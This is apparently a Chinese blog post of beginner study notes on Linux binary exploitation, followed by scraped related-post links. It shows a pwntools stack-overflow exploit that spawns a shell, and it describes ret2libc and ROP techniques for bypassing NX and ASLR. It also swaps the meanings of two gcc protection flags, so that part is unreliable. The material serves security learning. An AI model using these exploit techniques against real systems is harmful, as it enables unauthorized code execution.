0x00 简介

入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习。

0x01 保护方式

  1. NX (DEP):堆栈不可执行

  2. ASLR:内存地址随机化,在linux和pie相结合,aslr是系统是否开启,有0.1.2三个等级,而pie是程序自身是否开启,两者共同作用有不同的效果,如下图。

  1. Canary(GS):栈保护,栈被溢出时,会触发异常

  2. RELRO:GOT不可更改

0x02 栈溢出

  • 额外说一句,gcc如何对各种保护的开关

    • -fno-stack-protector:关闭堆栈不可执行
    • -z execstack:关闭canary
  • 系统关闭 ASLR:echo 0 > /proc/sys/kernel/randomize_va_space

  • 蒸米大佬测试溢出点用的是patterm.py 这个工具我没用过,我用的是cyclic

    • 生成有序字符串

    • 寻找到内存出错的地址后,寻找返回地址偏移

    • 计算出返回地址的覆盖偏移之后,构造 ‘A’ + ret_addr 即可让程序跳转到我们想返回的地址了

    • 测试程序没有开启NX,所以直接可以在堆栈上执行代码

    • pwntools提供的函数 shellcraft.sh()可以直接生成一段shellcode

      • 提示:默认的模式为x86,x64的需要更改模式context.arch = 'amd64'
      • 想知道生成的shellcode汇编指令是啥,可以利用disasm(asm(shellcraft.sh()))查看
  • 开启 core dump功能

    • sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
    • 开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后再用gdb查看core文件就可以获得buff的真正地址

  • 首先运行程序,输入一串溢出的字符,程序崩溃后,在/tmp文件夹生成core文件

  • 使用命令 gdb ./test /tmp/core.123123123,之后 gdb会显示崩溃的 EIP ,知道溢出点的偏移(140),再加上四个字节的ret地址,可以计算buff的地址为 $esp-144 x/10s $esp - 144,得到buff地址之后,开始写 exp

  • from own import * #使用pwntools工具库
    
    p = process('./test')#本地测试
    #p = remote('127.0.0.1',9999)#远程测试
    ret = 0xXXXXXXXX
    shellcode = asm(shellcraft.sh()) payload = shellcode + 'a' * (140 - len(shellcode)) + p32(ret) #发送payload
    p.send(payload)
    #开启交互shell
    p.interactive()
  • 将程序作为一个服务绑定到某个端口上

    • socat TCP4-LISTEN:10001,fork EXEC:./test

0x03 ret2libc PASS NX

  • 现在将程序的NX保护开启,依然关闭canary 和 aslr
  • 此时堆栈不可执行,上一个poc无法getsehll
  • 程序运行时会加载libc.so 文件,而这个文件中肯定有system和/bin/sh的
  • 如果关掉了aslr,system在内存中的地址是不会变化的,我们只要知道这两个地址就可getsehll
  • gdb调试起来,先在main函数下断点,系统才会将libc.so加载到内存中
  • 然后 print system 打印出system函数地址
  • 找到字符串 find 0xlibcstart ,+libcsize,"/bin/sh"
  • 写exp
    • 注意payload的构造 [padding] + [system_addr] + [junk] + [bin_addr]

0x04 ROP PASS DEP && ASLR

  • 开启系统的 ASLR ,此时你会发现上一个exp失去作用

    • echo 2 > /proc/sys/kernel/randomize_va_space
  • 原因是 ASLR 开启后,libc.so 每次加载的地址都不同了,寻找的system和binsh地址自然不对,所以失败

  • 查看程序内存空间布局可以通过 gdb 调试程序然后 vmmap 或者 info proc mappings,也可以 直接运行程序,找到pid cat /proc/[pid]/maps或者ldd (ldd我并没有测试)

  • 思路:首先泄露出一个函数真正的地址,然后根据偏移算出system函数和binsh的地址

  • 如何泄露出函数的地址呢?第一次覆盖返回地址为 write@plt 再给上 write@got 的地址,打印出libc中write的地址之后,因为libc中几个函数的相对偏移是不变的,就可以得到system的地址了

  • 打印出函数地址之后,将 eip 重新指向 函数开始 这次将返回地址覆盖为 system函数的地址 并构造好参数 即可getsehll

0x05 总结

  • rop初级用法 ,只能突破aslr和nx保护,接下来还要继续学习。

参考文章

pwn学习(1)的更多相关文章

  1. PWN学习之格式化字符串漏洞

    目录 PWN学习之格式化字符串漏洞 格式化输出函数 格式化字符串漏洞 漏洞利用 使程序崩溃 栈数据泄露 任意地址内存泄漏 栈数据覆盖 任意地址内存覆盖 PWN学习之格式化字符串漏洞 格式化输出函数 可 ...

  2. PWN学习之整数溢出

    目录 PWN学习之整数溢出 整数溢出 溢出和回绕 漏洞多发函数 整数溢出例子 PWN学习之整数溢出 整数溢出 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险.通常情况下, ...

  3. PWN学习之栈溢出

    目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...

  4. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

    目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...

  5. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

  6. pwn学习之一

    刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...

  7. pwn学习日记Day7 基础知识积累

    知识杂项 strncpy(char s1,const char s2,int n); 其中有三个参数分别表示目标字符串s1,源字符串s2,拷贝长度.意思是将s2指向的字符串的前n个长度的字符放到s1指 ...

  8. pwn学习日记Day5 基础知识积累

    知识杂项 int mprotect(const void *start, size_t len, int prot); mprotect()函数把自start开始的.长度为len的内存区的保护属性修改 ...

  9. Arm pwn学习

    本文首发于“合天智汇”公众号 作者:s0xzOrln 声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关! 刚刚开始学习ARM pwn,下面如有错 ...

随机推荐

  1. [BJOI2019]删数(线段树)

    [BJOI2019]删数(线段树) 题面 洛谷 题解 按照值域我们把每个数的出现次数画成一根根的柱子,然后把柱子向左推导,\([1,n]\)中未被覆盖的区间长度就是答案. 于是问题变成了单点修改值,即 ...

  2. SQL Server 中字段的精度问题

    在工作中遇到,一个多表联合查询的情况,查询出来的有些字段精度太高,小数点后达到8个0,现在客户要求报表只要精确到0.01 ,就是只要小数点后面只要保存两位,另外还需要四舍五入 在网上找了点资料,自己测 ...

  3. python3.x执行post请求时报错“POST data should be bytes or an iterable of bytes...”的解决方法

    使用python3.5.1执行post请求时,一直报错"POST data should be bytes or an iterable of bytes. It cannot be of ...

  4. NFV-Based Scalable Guaranteed-Bandwidth Multicast Service for Software Defined ISP Networks

    文章名称:NFV-Based Scalable Guaranteed-Bandwidth Multicast Service for Software Defined ISP Networks 发表时 ...

  5. redis connection refused: connect 启动失败

    先到redis解压包下执行 ./redis-server redis.conf 再连接 redis-cli

  6. 一文了解Python的线程

    问题 什么是线程? 如何创建.执行线程? 如何使用线程池ThreadPoolExecutor? 如何避免资源竞争问题? 如何使用Python中线程模块threading提供的常用工具? 目录 1. 什 ...

  7. I/O模型系列之三:IO通信模型BIO NIO AIO

    一.传统的BIO 网络编程的基本模型是Client/Server模型,也就是两个进程之间进行相互通信,其中服务端提供位置信息(绑定的IP地址和监听端口),客户端通过连接操作向服务端监听的地址发起连接请 ...

  8. Tomcat系列(7)——Tomcat类加载机制

    1. 核心部分 1. 类加载器: 通过一个类的全限定名来获取描述此类的二进制字节流. 对于任意一个类,都需要由加载他的类加载器和这个类本身一同确立其在Java虚拟机中的唯一性,每一个类加载器,都拥有一 ...

  9. 实验二 Java面向对象程序设计 20175301李锦然实验报告

    实验二 Java面向对象程序设计 实验内容 1. 初步掌握单元测试和TDD 2. 理解并掌握面向对象三要素:封装.继承.多态 3. 初步掌握UML建模 4. 熟悉S.O.L.I.D原则 5. 了解设计 ...

  10. git bash 支持中文

      1. 编辑etc\gitconfig文件,在文件末尾增加以下内容: [gui] encoding = utf-8 #代码库统一使用utf-8 pathnameencoding = utf-8 #支 ...